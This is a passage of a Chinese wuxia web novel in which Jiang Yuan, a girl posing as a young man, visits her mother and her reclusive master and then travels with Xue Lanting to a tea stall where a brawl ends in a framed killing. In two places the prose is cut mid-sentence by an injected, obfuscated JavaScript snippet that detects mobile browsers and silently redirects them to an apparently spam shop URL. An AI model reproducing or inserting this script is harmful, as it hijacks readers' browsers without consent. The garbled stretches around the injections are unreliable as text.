薛兰庭还在絮絮叨叨,她回神一听,却是什么:“……师傅所言果然不虚,山外面的高手多的是,昨日我跟薛伯伯见了好几个人,甚么‘江上鲈’啦,‘吞金衫’啦,外号真真千奇百怪……哎,早知道,便不跟师傅吹牛了。” 姜沅问:“吹甚么牛?” 薛兰庭抿着嘴,突然有点难以启齿,须臾,才道:“我说,我要当天下第一。” 姜沅一愣,随即笑道:“这有什么,你初出茅庐就夺魁扶摇,已是同龄人翘楚。只消再练个几年,便能打败那些老顽固。放在以前,说不定能成呢。” 薛兰庭不解道:”为什么是放在以前,现在就不行了么?” “不行。”姜沅斩钉截铁。 “为什么?” “因为我也要当天下第一。” 薛兰庭惊讶地看着她。 姜沅周身沐浴在阳光里,头枕着手,闭目勾唇:“我不仅要当第一,还要光复焚阳,称霸武林!我要当世界上最最厉害,也最最尊贵的人,你懂么?哎,我跟一个缺根筋的傻子说什么。反正,你以后肯定打不过我,就勉强留你个天下第二当当吧。” 薛兰庭没什么野心,只图个威风凛凛的称号,听她这么一说,顿时热血上涌,腾地坐起身来:“那不成!我们就比比,到底谁才会成为天下第一!” 姜沅笑了笑,同他击掌。薛兰庭高兴了一会儿,又回头道:“等等,你刚刚是不是骂我了?” 姜沅正色:“没有,风声太大,你听错了。” 两人的确算得上不打不相识。此后几天,薛兰庭都会避着人,来跟这个功夫又俊、脑子又灵光的新朋友说悄悄话。一会儿抱怨山庄规矩多,一会儿说几个陌生师兄弟如何如何。 “……还有几个小臭屁,说我肯定打不过他们薛炳之师兄的,我哪知他是圆是扁?还好薛朗在一旁帮我说话。” 姜沅道:“他们不服,你把他们打服就是了。百句浮言,不如拳里见真章。” 薛兰庭摸摸脑袋道:“那不好罢?太、太……” 怎么不好?姜沅这几年来,就是靠一双拳脚,在焚阳山庄博得一席之位,原本轻视她、针对她的,哪个现在不是执鞭随镫?就连姜郃,原本她那兄长的小狗腿,都凑上来巴巴地讨好她。 薛兰庭这性子,天真愚仁太过,就算打得过薛炳之,也难闹出什么名堂。遇到坏心眼一点的,说不定被吃得骨头渣都不剩了。 姜沅不由心中嗤笑,嘴上道:“那帮小弟子玩心大,你便把你那弹弓射李的功夫亮一亮,他们便会奉你为尊了。” 薛兰庭眼睛一亮:“对啊!你——你那天看见了?!” 姜沅轻哼一声别过头。 盛会善后事毕,饯行宴在雁州西郊园林热热闹闹地开展。 姜沅甫一入坐,就见闹哄哄的邀月弟子席中,薛兰庭正被众小弟子拥簇着,灌酒吃菜,开怀大笑,全然不似有烦恼的模样,想必是料理得妥当。那一身绣金澹月袍,也更为光彩照人,背上玄乌重剑万年不离身。 “邀月山庄也就一个名字雅致,弟子长老全都没规没矩。”一焚阳弟子见了此景,撇着嘴小声议论。 “可不是么?薛青锋自己都没个庄主样。”另一弟子抬起下巴,指示与弟子混迹一处、大碗喝酒吃肉的邀月庄主,“早些年也就草莽寨匪出身,贵人指路从的良。那个新来的薛兰庭,行事做派也就是个小土匪,哪能和我们姜沅师兄比。” 姜郃低声道:“行了,少说几句,未立人前,莫论人后。”话虽警告,脸上却眉飞意得,显然心中赞同,并无责备意。 东道主张老爷拉着一人来到姜沅席边,脸上横肉被堆起的笑容挤成小山,举杯道:“长江后浪推前浪,得子如此,武林幸事,甫阁兄实在好福气啊!” 姜甫阁笑道:“哪里哪里,小孩子家家,花拳绣腿罢了,还有很长的路要走啊。” 张老爷忽又正色,将拉来的青年推至身前,道:“犬子顽劣,不慎得罪了贵客。舀儿,还不快快赔罪?” 正是与薛兰庭比赛射李的青年。他憋红着脸,支支吾吾道:“对、对不起,我不该……不该在背后道你的不是。”示意旁边家奴送上一个小木箱。 姜沅下意识往邀月弟子的方向望一眼。薛兰庭若有所感,举杯欲饮的手顿在半空,对上她的视线,咧嘴送了个灿烂至极的笑容。 姜沅回头道:“你道我什么不是了?” 青年嗫嚅道:“说你功夫不精,名……名不副实……” “你这臭小子!”张老爷一巴掌拍得他肩膀直缩。 姜沅道:“那你如今觉着如何?” 青年深吸一口气,几乎是咬着牙:“厉害的很,在下佩服。” 张老爷说了几句好话,扯着面红耳赤的儿子离开了。陆续有几位侠士来攀交祝贺,姜沅无聊地用余光数薛兰庭喝酒的杯数,看他毫无形象地跟师兄弟勾肩搭背,要不是薛青锋还在旁边,下一刻怕是要“五魁首啊,六六顺啊”地猜起酒拳来。 眼前投下一片阴影,又是一个来敬酒的人。入目一身黛蓝沧浪衫,长眉,薄唇,俊美阴柔,是副不太好相处的刻薄面相。他道:“幸会,凌波山庄,程书青,恭祝姜少侠拔得头筹。” 姜沅觉得他有几分眼熟,还未思索出,程书青简单说了几句话便走了,约莫只是奉了长辈之命来打交道。一旁的焚阳弟子却不悦道:“输在姜沅师兄手里,要那么大怨气么?凌波山庄这些年没落也是有原因的。” 是他? 那个被她缴了武器,瞪了她一眼的青年,竟是凌波山庄少庄主。 又听另一人道:“他啊,小肚鸡肠,你可曾听过妙影鞭?前些年程书青重金求得,爱得要命,那日败在沅师兄鞭下后,亲手把那鞭子砍成一截一截的了。” “好可怕,该不会那传言是真的,姜少旻师兄真的是被他……” 后面的话没说出口,因为那弟子后背一凉,竟是程书青往这边森森瞥了一眼。 天下人皆知,凌波山庄与焚阳山庄在八年前,并非如今日这般交往甚疏、貌合神离。 当年,凌波少庄主程书青,与焚阳庄主之子姜少旻,还是一对年少竹马之交。 姜少旻是姜沅同父异母的兄长,本是少庄主之位的不二人选,可惜多年前一次意外,险些丧命。母亲伤心过度去世,他自己命硬活了下来,落了个双腿残疾,约他一同出游的程书青却毫发无伤。难免不让人多想,姜少旻是不是中了凌波山庄的圈套,二人就此决裂。 尽管凌波庄主程茂低声下气,送了好几箱赔罪礼,甚至指着青天发毒誓说绝无此心,两庄的关系还是僵持了很长一段时间。三年后,姜甫阁找到流落在外的另一亲骨肉姜沅,发现她资质卓绝,更能继承自己的衣钵,这才恢复了与凌波的往来。 那边程书青又去祝贺薛兰庭,不小心被挤作一团的邀月弟子撞来撞去,脸色发黑,忍着脾气喊了几声“薛公子,薛公子”。薛兰庭耳朵里不知挤满了几个师兄弟的叫唤,一时如棉花塞颅,头昏脑涨分辨不过,冷落了他。 程书青捏着酒杯的手青筋暴起,兀自饮下酒,当见了礼,转头回坐席去了。姜沅总觉得他更想将这杯酒倒在地上,或者泼到那群推推搡搡的邀月弟子脸上。 宴饮完毕,丝竹停歇。姜沅与薛兰庭虽是宴会主角,众人巴结的中心,二人之间却少有交集。薛兰庭憋了一肚子话,散会后偷偷翻墙找她,问:“好看吧?” 他指的是重剑剑柄上一条黄玉穗子,小巧精致,金光流转。果然人靠衣装马靠鞍,薛兰庭一身弟子服人模狗样,连重剑也沾了光,倒有几分神武的味道了。姜沅不吝赞叹:“有眼光。” 薛兰庭得意道:“是有眼光,什么凌波山庄少庄主送的,说这玉天地间不过五枚,可配我的伏天剑了。” 听到程书青的名号,姜沅微微皱眉。 薛兰庭又道:“薛伯伯叫我明日便出发去芜城,以示诚意,我不依。听说你还要回去一趟,是不是?七日后我在回雁山下等你。” 姜沅道:“你便是早我十日出发,我也能追得上你。” “你太小看我的轻功了!” “那便比比?” 薛兰庭摇头摆手:“还是算啦!刚好我也去邀月山庄瞧瞧,师傅的老家,还没见过什么样呢。” 翌日,姜沅辞别众人,回到焚阳山庄。山庄位于首阳山,占地辽阔,旌旗猎猎,镇门石兽威武不凡,好不气派。山门前一个纤瘦身影,正踮脚张望。 “娘。”姜沅走上前道,心中欢喜,但下一刻,这欢喜就被泼了盆冷水。 娘道:“沅儿,你父亲呢?” “瞿州闹贼患,父亲受人之托……” 娘的目光黯淡下去。 “又是贼患,又是乱匪,一年到头,怎么就没个歇息的时候?凌波庄主和邀月庄主,可不像他那么忙!” 她猛地抓住姜沅手臂,“沅儿,你跟娘老实交代,是不是他身边有新人了?分离十余载,甫郎的心早不在我身上了!若不是还有你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274940|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——你可是未来的少庄主,他唯一的继承人!难道是你又惹什么祸了?甫郎,你怎么能这么对我……” 姜沅摇头不止:“不不不,娘你别乱想了,没有的事。我们都好着呢,只是父亲身居高位,心怀天下,难免身不由己。” 娘的目光渐复清明,自知失态,松手理了理头发,扯了个难看的笑道:“先回屋吧,你赶了一路,也累了。” 姜沅苦笑一声,任由她挽着手臂进山庄。半途,遇到了一个意料之外的人。 姜少旻坐在轮椅上,在莲池边晒太阳。皮肤青白,一脸病容,周身环绕化不开的阴郁气质,倒是与那程书青有几分相似。与姜沅视线相撞后,短暂愕然,想露出个笑,却又因嘴角僵硬而显得不伦不类。 姜沅礼貌道:“兄长,出来晒太阳了?” 姜少旻道:“嗯。赢了?” “赢了。” 娘突然拍了一下她的背,催促道:“快走,免得被传染了病气。这年头红眼病多,可别又被什么不长眼的巨蛇给盯上了!” 姜少旻的脸色又白一分,闭了闭眼,躺在藤椅上不再说话。 她所言巨蛇,指的是头几年,栖梧山上以残害路人闻名的毒蚺。姜沅初入山庄,以奇招猎杀旁人束手无策的毒蚺,姜甫阁大喜过望,直道此子前途无量,便赠予她几件宝物。可不久后便遭窃了,在姜少旻的仆从房中被搜出。 那人狡辩说是前几日看见毒蚺冤魂游动,死不瞑目来窃宝报复,这番说辞引得众人哈哈大笑。稍微有脑子的人皆知,这是姜少旻嫉妒姜沅,怕她未来夺去自己的少庄主之位,指使下人使坏了。 姜沅的母亲为此大发雷霆,站在他院门骂了几天,说什么现在心思就那么歹毒,以后怕是要同根相煎了!姜少旻此后很少离开过院子。 姜沅对这兄长说不上讨厌,也说不上喜欢。同父所生,他从小便是焚阳山庄尊贵无比的少爷,而自己,与母亲流落在外十几年,过的是贫民流民的生活。倘若他双腿尚无恙,也轮不到她回来,着实说不上哪一方更惨。 姜沅回屋后,听母亲絮絮叨叨聊了几句,又说了些父亲的近况,这才把她送走。不一会儿,又听到了敲门声。 “少爷,大少爷送来一样东西。” 姜沅猜不透那位陌生兄长的心思,迟疑半晌,道:“进来。” 门开了。小厮双手捧上一只带有绣花纹样的精致香囊,“大少爷说,前去芜城必定先经圭月岭,蛇虫遍地,毒物盛行。此物有驱兽杀虫之效,可为备用。” 姜沅没有接,道:“喊大夫查验一番再交予我。” “是。” 除了安抚母亲,姜沅回来还有一个目的,便是去栖梧山南,当初杀死那条巨蛇的地方。 山陡道狭,怪植掩映,稍不留神便会迷路,非胆壮猎户不敢深入。姜沅却轻车熟路,找到一块厚重石壁,叩响三下,在满墙爬山虎下找到一个隐蔽的开关,扭转,石壁轰隆隆朝两边打开。 里面是一片草地,及膝深,中间一座茅草小屋,孤零零伫立。门边木桩上,栓了一只老黄牛,正慢吞吞吃草。 姜沅喊了一声:“师父!” 木门“吱呀”一声开了,裹着头巾的瘦高女人端盆而出,脸上陈年疤痕纵横交错,一双眼睛明亮沧桑。她睨了一眼姜沅,道:“喊什么喊,吵死了。” 姜沅笑道:“师父,来找您报喜啊。” 女人道:“什么喜?” 姜沅道:“扶摇第一。” 女人不问俗事多年,不记得甚么扶摇,见她眉眼骄傲的模样,料想是个很有头面的比斗了。遂浅浅哼笑,示意她进去,“老娘果然没看错人,你这丫头不仅鬼精的很,功夫也像模像样。” 姜沅跟上道:“多亏您当年手下留情,慧眼识珠,没要了我这小命。” “谁让你把我的爱宠给打死!这下谁要是找来,少了关隘,轻而易举便扰我清净。对了——快让我看看它。” 姜沅取下化龙鞭,只见女人手指抚过一根根骨刺,嘴里啧啧不停,哪是缅怀爱宠,分明是欣赏:“这小蛇,倒有两下子。” 姜沅道:“怎么不夸我有两下子?” 女人道:“方才还谦虚,现在怎么一点也不客气了?” 姜沅笑了几声。须臾,看着女人道:“师父,您当年说要我杀人,是要杀谁啊?” 姜沅五年前初入焚阳,还是一个人人瞧不起的私生子。为了立威,将目标放在钢筋铁骨、吞食多人的深山毒蚺身上,一个人花了三个月时间研究战术,终于战胜。 这毒蚺原是隐居此处的犊姑为了阻隔外人,设来看门之物,甫一被人猎杀,心中震怒。她随林中踪迹找到姜沅,却见她身中蛇毒,半死不活。本该送她一程,犊姑却临时改变了主意。 “本是女子,却硬要伪作男儿身。本是毫无内力的庸人,却要独战这强劲狡诈的毒蛇。你还有什么是不敢做的?” 姜沅嘴唇发紫,眼睛被血糊住,只看得见一个模糊影子,气息奄奄道:“求前辈……救我……” 犊姑道:“救你可以,一命换一命。他日你若侥幸大成,要去帮我杀一个人。” 姜沅问她要杀谁,犊姑只嫌弃地说尚不是时候。她将毒蚺制成骨刺鞭,教姜沅独门功法,看着她短短五年内,从一众新秀侠士里脱颖而出,夺下第一。这么多年来,姜沅之进步,除了对夺下少庄主之位有执念,未尝没有替师父报仇的隐秘念想。前者是鞭子驱策她,后者是铡刀,时时悬于头顶。 连深不可测的师父都杀不死的,是何等厉害的人物? 姜沅笑道:“师父,现在总该告诉我了吧?” 犊姑叹了口气。 “我忘了。” “啊?” “仇人的名字,早就忘了。” 姜沅呆愣地看着她平静的面容,显然没想到是这个答案,不知是解脱居多,还是失望居多。 让犊姑退世隐居,怀恨多年的,定是隔了什么血海深仇。这……怎么能忘呢? 犊姑道:“恩怨情仇,真要论起来,是算不完的。沅儿,为师老了,陪我几十年的老黄也快死了。我现在只想带它去吃一吃其他地方的草,有甚么不同滋味。沅儿,你能站到这么高,为师就已经大仇得报了。” 姜沅眼里茫然,心中闪过一丝慌乱,道:“师父——” 犊姑道:“行了,臭丫头,快走吧,别用那种要死的眼神看着我。没命的是老黄,又不是我。” 姜沅被轰了出去,石门闭合前,犊姑的身影靠在老黄身侧,轻轻吟唱:“昔抱孤峰雪,今逐野水流。西风万叶下,共此一山秋……” 以后再踏进来,却是人去谷空。 怅然之感,如野鬼缠身。姜沅浑浑噩噩,直到骑马过回雁山,于桑树下再见薛兰庭。 薛兰庭背着伏天重剑,蹦起身,欢快地朝她招手,叽叽喳喳讲述这几天的遭遇。他仿佛有种魔力,无论别人在胡思乱想什么,一听他活泼如弹珠肆迸的话语,便脑子澄静了,甚至还因过于吵闹隐隐作痛。 “沅兄,好久不见啊!一路可好?反正兄弟我是度日如年,万般煎熬。” “我还以为薛伯伯要带我见好兄弟们,想看看有没有沅兄一样的人物,谁知是拜会一群糟老头!说话七拐八绕,听得人头大。连那个薛炳之,也是个满口经纶的小古板,心性瞧着比薛伯伯还老道。” 姜沅道:“薛庄主这是带你见世面呢,扶摇魁首。” 薛兰庭叫苦不迭:“我还以为江湖就是打架,吃饭,打架,玩耍。哪知道还有这么麻烦的事!还说什么要让我当少庄主,更烦了!” 姜沅脑袋“轰”地炸了。 “……你,你说什么?” 4. 风波 薛兰庭还在兀自烦恼着:“我还什么都不懂呢,还好薛炳之提议日后考量,薛伯伯也太急了些……哎哎哎,沅兄!” 眼见姜沅一言不发,如飞鸟一掠而出,赤色身影眨眼消失在山林之外。 薛兰庭大惊,急急忙忙轻功追去,四顾茫茫,暗自叫苦:“好快的身法!莫非我哪里惹了他不高兴?不对,也许他在考教我。” 颠了颠背后沉重巨剑,咬牙运起内劲。 如是几日,两人你追我赶,一前一后,始终保持百米之距,几无休憩之息。姜沅脚尖落至一挺拔青竹之上,陡然清醒:“不对,我同他赌气作甚?幼稚。” 复又想:“邀月若真落到个傻子头上,离灭门散派也不远了。” 身后传来不知第多少句呐喊:“沅兄!你等等我呀!” 百米外的薛兰庭满额细汗,喘着粗气,嗓子近乎嘶哑,目光追随前方那个瘦长背影,心中十分郁闷,疲乏得几乎要一屁股坐到地上。 却见前方那人脚步放慢,薛兰庭心中顿扫阴霾,拖着灌铅的双腿急急追了上去。 “沅兄,你这轻功真是了得,小弟佩服佩服。赶了那么久路,歇一会儿吧。诺,前面刚好有个小茶摊。” 姜沅背对他,依旧没说话,脚尖却是一偏,往那枇杷树旁的小茶摊走去。 薛兰庭嘴角一咧,快步跟在后头。 茶摊位于三岔道口,立了张明艳艳的幌子,摊上坐了六七个江湖人。他们服饰各异,声音粗犷,正端着茶碗聊天侃地,见新来的两人相貌堂堂,不禁多瞧了几眼。茶摊老板是个五十岁男人,热情招呼道:“二位少侠,请坐请坐。小渠,快上茶!” 一个妙龄女子踩着碎步,小心翼翼端盘上来,睫毛纤长,半张脸覆着一层面纱。薛兰庭接过茶碗殷勤道:“沅兄,快快喝茶。” 碗沿黏腻,姜沅端着浅抿一口,眉心微微一动。 自被姜甫阁接回承认后,她喝的都是焚阳受他人供奉的阴山玉、苍南雪等稀罕茶叶,富贵软人肠,早已忘了粗茶淡饭的滋味。甫一重温,渣滓粗沫灌入喉咙,苦涩而滚烫,肠子都要打结,不禁又联想起一些不合时宜的事来。薛兰庭却一饮而尽,道:“好茶!” 是了,薛兰庭无父无母,那个劳什子师父又不肯好好教他内功,刚见面时穿得跟乞丐一般,自然吃不出什么好坏。想到这里,姜沅脸色缓了一缓,道:“以前没喝过?” 薛兰庭见她终于开口,立即回道:“没有,师父只爱酒不爱茶,连带我们家都没有。” “你师父——待你如何?” “他啊,可坏了。”薛兰庭竹筒倒豆子般,“老是打我、骂我,脏衣服都丢给我洗,寒冬腊月把我踹到结冰的河里,让我抓鱼抓个够。又叫我去离家十里地用破了个洞的竹桶挑水,把好大一个土坑填满。最最可恶的,是不给我肉吃。” 旁边有人听了啐道:“什么破师父,小兄弟一表人才,竟被如此虐待,真是造孽!” 薛兰庭摸摸头,道:“也还好啦,就是脾气大了点。” 姜沅轻捻茶杯,垂眼看茶沫上下起伏旋转,心中微微动容。曾几何时,她也跟母亲过着与野犬夺食的日子,即使回山庄后不久,也是一段遭人排挤、吃尽冷眼的时光。薛兰庭同样自小生活凄苦,却还要维护那个师父,真是脑子被驴踢了。 姜沅心中那份久积的不平之气稍稍淡了些。 当然,她不知道,薛兰庭三分的苦能说成十分。打他是因为他偷偷把师父头发剪了,骂他是因为他偷偷把鸟粪糊在门把上,至于腊月跳冰河、十里竹篮打水之事,不过是师父为了惩罚他练功时怠惰耍滑、投机取巧,让他长长记性罢了。而他师父一心向佛,又哪里肯吃肉?只在他打鸟捕山鸡的时候,摇了摇头而已。 调皮捣蛋杀威风的事,他薛大侠一概不说,只苦了他那倒霉悲催的老师父,在姜沅和茶客心里已是彻彻底底一个恶徒形象了。 一招奏效,薛兰庭正想继续编排,却听到“嘭”一声闷响。 右座上一位膀大腰圆的汉子,不满地将茶碗扣在桌上,啐了一口:“呸!茶比马尿还涩,无聊得咽都咽不下去。”冲端茶姑娘勾勾手指:“小娘子,过来给爷们唱个曲儿!唱的好了,爷就不追究你们用这苦茶烂水敷衍人了。” 店家恳求几句,汉子不依不饶,端茶姑娘便拉住店家的手臂道:“老伯,我来吧。”店家歉疚道:“阿渠,对不住你了。” 阿渠摇摇头,寻个附近椅子坐下,发钗莹莹,薄纱微晃,轻轻吟唱起来:“闻道君身似转蓬,几回书信寄无从。孤灯各照三更雨,病骨同担万壑冬。山迢迢,雾重重。此身长在梦魂中。平生多少未言事,分付寒江与归鸿。” 声音凄婉哀绝,闻者眼酸,几乎要落下泪来。那汉子大嚷:“不行不行,换一个!什么叽叽歪歪的酸词,来个乐呵点的!再苦着脸,把你摊子都砸了!” 店家忙道:“使不得啊!”阿渠歉意一笑,复唱道:“新妆才罢倚朱楼,蝉鬓衬星眸。忽见青骢,柳阴深处,含笑掷红榴。佯嗔却把阑干叩:何处少年游?扇底风来,裙边蝶绕,斜日烫人羞……” 大汉这才满意,坐下继续喝茶,目光却如米糊般粘在阿渠露出的半张脸上,又与旁边两兄弟调笑几声。 薛兰庭问姜沅:“这唱词是甚么意思,他怎么突然就满意了?”姜沅道:“小孩子不要瞎打听,喝你的茶。” 薛兰庭依言乖乖喝茶了,左手做拳,咚咚捶打酸痛的大腿。荒道口孤零零的茶摊,因这轻快活泼的歌声更为热闹,活像冰天雪地里一堆烧得又高又旺的柴火。 薛兰庭喝到第三碗,忽而,歌声、谈笑声顿歇,茶摊气氛骤然一沉。 他把脸抬出茶碗往上一望。几名额头系着麻绳的白衣人,序序然走了进来,身后,停着一口黑漆漆的松木大棺材。 为首男子风尘仆仆,眉目疲惫,却掩不住一身气宇轩昂。扫视一眼略微拥挤的茶摊,目光定格在姜沅这一桌。 “两位公子,叨扰了,可否共坐?” 姜沅自顾自喝茶,薛兰庭抬手道:“没事,坐吧,出门在外,都是兄弟。” 白衣人纷纷落座。男人道:“多谢,此桌可记在下账上。” 薛兰庭摆摆手,“客气。”他是个闲不住的性子,指着几人污泥及膝、早已看不出面目的白靴子道:“你们从北方来,难不成经过了沼泽地?” 那男子摇头道:“在下是从西北来,也是母亲的祖地,只是路途迢迢情势紧急,还遇见几个不长眼的,仪态实不便打理。此行,便是要回老家了。” 薛兰庭看了眼棺材道:“那那里面是……” 男人低下头,目露哀色,“正是家慈。” 薛兰庭噤声了,觑了眼桌下,姜沅的鞋子正踩在他脚上。她本人八风不动地在慢悠悠品茶。 茶摊安静得出奇,只有阿渠端茶跑腿的声音。 那男人似乎也受不了太过压抑的气氛,仰头将碗中茶一饮而尽,撑了个笑道:“公子那把重剑看着好生威武,听阁下口音,是岭南来的侠士?相遇即是缘,在下宋释,观公子面善,不知可否有幸交个朋友?” 薛兰庭眼睛一亮,笑道:“好啊好——” “啊!!” 右上的位置猝然响起一声尖叫。 众人只见那戴纱奉茶的阿渠姑娘,双手举着一只托盘,慌张挡在自己胸口前:“这位客官,请您自重!” 严厉的声音夹杂几分颤抖,显得威力不足。原先闹着要听曲儿的大汉得寸进尺,锁住她挣扎的手,嚷嚷道:“你这小娘皮!大爷只是看你遮着半张脸,怕你刚唱过曲儿透不过气,好心帮你掀开,怎么就这么不识抬举?” “哎哟!”店家连忙上前帮衬,“阿渠面容有损,恐怕会冲撞少侠。” “容貌有损?”旁边瘦子嗤笑,淫邪的目光上下打量女子,“小娘子身段窈窕,嗓子比黄莺还动听,怎会生得丑?怕是效仿谷中幽兰,羞怯得紧。在座的都是豪侠,看一看又怎的了?又不会少块肉。” “是啊是啊,这小娘子方才还对我抛了个媚眼,真叫我半边骨头都酥了!方才唱情歌儿,不知这里哪位是你的小情郎?”一麻子脸叫唤道。 三人人扣住她,欲扯下脸上面纱。阿渠急得眼眶泛红:“谁抛媚眼了?明明是你们要我唱的,你、你们……” 薛兰庭眉头一皱,刚想喝止,眼睛瞥到那女子的眉目,瞬间呆滞了。 姜沅问:“怎么了?” 薛兰庭舌头打结:“沅沅沅兄,你是不是有个失散多年的双胞胎姐妹?你瞧她眼睛,与你有三分相似呢,说不定真长一模一样!” 姜沅给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274941|198195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他后脑勺一巴掌,“我看你也是想掀人家面帘。” 那边茶摊店家被人推搡摔地,心急如焚。满脸邪光的大汉就要得逞,却突然横出一只手,钢圈一般死死箍住他手腕。 “兄台,何必为难一个不会武功的姑娘。” 汉子道:“呸!要你管?哪来的小白脸,抬你的死人棺去。” 被骂的,自然是方才同薛兰庭搭话的宋释。其余白衣人起身拔剑,怒道:“胆敢对我们公子不敬?!” 汉子被这阵仗吓得手一抖,阿渠趁机从他手中挣脱,含泪道:“多谢公子!多谢公子!” 汉子丢了颜面,色厉内荏道:“装腔作势,你……你有本事杀了我!来来来,大家都看看啊!这不知是哪位大人物,以多欺少,好大威风啊,简直比皇帝老子还厉害!你知不知道,县令大人最近宝物失窃,严防一切形迹可疑之人。这小娘皮光天化日之下戴着张面纱,鬼鬼祟祟,你帮她,就是在跟县令大人作对!” 宋释冷笑:“什么县令大人,我……” “公子!”旁边的白衣人使了个眼色,男人到嘴边的话硬生生咽了下去。 那大汉掰回一局,心中正嘚瑟,忽又听一人高喊: “你这臭流氓好不要脸!人家姑娘脸上长疮生疤关你屁事,你是郎中啊还是她爹啊?就算真是贼,也轮不到你来搜身。还有你,你,你们,称什么豪侠呢,裤腰带都系不紧,我要是你们娘,当初就把你们打掉算了,生出来白白给武林蒙羞!要不咱们一起去县衙说道说道,看是这位姑娘像贼,还是你们几个贼眉鼠眼的更像?” 话语之犀利直白,直如一把尖刀刺入人心,几人脸上蓦地炸开一片火辣辣。汉子脑袋冒烟,差点气得吐血:“你……你!休要含血喷人!” 他挥舞铁拳,气势汹汹朝薛兰庭狂扑而去。宋释叫道:“小心!” 薛兰庭不慌不忙,后退一步。那汉子突然“哎呦”一声,重重摔倒在地,茶桌为之一抖。半晌,他抬起头,鼻梁中部断裂,牙齿缺了一颗,满嘴泥土和鲜血,惨不忍睹。 姜沅不动声色地将伸出的脚收了回去。 薛兰庭道:“哈哈哈哈哈哈哈,我儿,快快请起!何必行如此大礼?就算你真把我当娘,我也打不掉你啦!” 有人没忍住也跟着笑了起来。那汉子艰难站起,目眦尽裂,吐出一口血沫污泥,嘶吼道:“敢戏弄老子,老子杀了你们!”转头朝缩着脑袋的瘦子和麻子脸道:“老二,老三,愣着干啥?难道就怕了这臭小子不成!” 二人对视一眼,咬牙亮出武器,心知白衣人不好对付,便一个劲往薛兰庭身上招呼。三人齐上连出数百招,拿椅子抡,拿刀砍,愣是碰不到他半块衣角,脸颊鼓涨如河豚。宋释叹道:“公子好武功!” 薛兰庭身若惊鸿,侧身躲过一劈,抽空拱了个手道:“过奖过奖。” 汉子老大气得浑身发抖,恨不得生啖其肉。忽然,眼珠滴溜一转,计上心头。示意两人一左一中包抄,眼看薛兰庭翻身跃出包围圈,大汉将身一扭,弯刀折了个弯,飞速刺向一旁喝茶的姜沅。 声东击西! 咫尺之遥,姜沅手端茶碗来不及取出化龙鞭,左脚尖疾出斜踢,将薛兰庭放置在桌边的伏天剑挑入手中。还未出手,余光白影飘动,宋释自身后向前一剑运出,与壮汉刀身相撞,发出“噌——”的刺耳声。 他并非擅武,只情况紧急,夺了齐宁的兵器挡住意外一击。手腕一阵酸痛,却依旧握紧剑柄,满眼警惕。 一切都发生太快,众人来不及反应,回过神后连连喝彩。薛兰庭骤然提起的心又飘然落地,拍拍胸脯道:“吓死我了,你这人果真臭不要脸,不讲武德!” 偷袭不成,大汉脸涨成猪肝色。僵持不下间,瘦子眼睛捕捉到一抹异色,大叫道:“捕快老爷!” 众人转头望去,一行穿着官服的捕快,和三个棕衣背弓的人,注意到了这边打斗的动静,正齐齐朝茶摊走来。 就在所有人注意力被吸引之时,变故陡生—— 宋释手中一轻,又一重,脸庞倏忽溅上几滴温热。 “啊!”有人惊呼。 宋释茫然回头,却见那大汉双目充血,嘴边露出扭曲又得逞的笑意,左胸口被锐利长剑贯穿,炸开一片狰狞的猩红。而那剑柄,正握在自己手中。 5. 棺椁 瘦子撕心裂肺:“大哥!!!” “救命啊!贼人杀人灭口啦!捕快老爷,一定要帮我们做主啊!”麻子脸扶住壮汉软绵绵的尸体,一把鼻涕一把泪喊道。 宋释犹在呆愣,旁边的白衣少年怒道:“明明是他自己撞上来的!” 捕快已将茶摊层层围起,领头人问:“怎么回事?” 瘦子哭诉:“官老爷,我们兄弟三人在此吃茶,见这一行人鬼鬼祟祟,连同那娘们也十分可疑,便起了些口角。他们心中有鬼,仗势欺人,竟将我大哥……” “呸!胡说!”白衣少年斥道,“分明是你们淫|虫上脑欺压良民,打不过就恼羞成怒,死得其所!在座的都可以作证,是也不是?!” 薛兰庭举手道:“对!我和沅兄可以作证!” 他一声喊出,茶摊静了一静。其余三四个置身事外的江湖人,交换了眼色,并不声援。 姜沅心中隐隐感到不对劲。 捕快道:“哦?还有谁能作证?” 白衣少年抬起下巴质问那几个江湖人:“喂,你们几个,方才也是看见的吧?就是那人先调戏姑娘,动手打人,我们公子见义勇为不小心误杀而已。” 几人眼神飘忽,低头不语。 白衣少年又道:“喂!问你们话呢!” 一个独眼将脸从臂弯抬起来,哆哆嗦嗦道:“啊……有吗?难道不是你们偷偷往棺木里藏了东西,被这位侠士撞见,才胡乱寻个由头杀了他吗?” 其他人纷纷附和:“对啊,你们才更可疑。”“县令大人的贵物,定是他们偷的!” 这……! 白衣少年大怒:“你们是一伙的!” 说罢,拔剑就要朝那几人砍去。宋释一把拉住他的手臂:“齐宁!不可冲动!” 齐宁双目喷火,牙齿咬得咯咯作响。 捕快头儿冷笑一声,道:“形迹可疑,颠倒黑白,草菅人命,你们好大胆子!来人,把那口棺材撬开,看看里头藏了什么脏东西!” “不行!” “等等。” 姜沅突然开口,“既然哪边都不可信,各有说法,不如就让摊主和阿渠姑娘来评评理吧。” 齐宁一喜,道:“对!他们总不会有偏私,看看谁才是说谎!” 捕快头儿下令:“押上来。说吧,到底是怎么一回事?” 那摊主老板佝偻着身子,战战兢兢不敢抬头,声如蚊呐:“是……” “是那位宋公子故意杀人!” 此言一出,白衣一行人面色皆变。 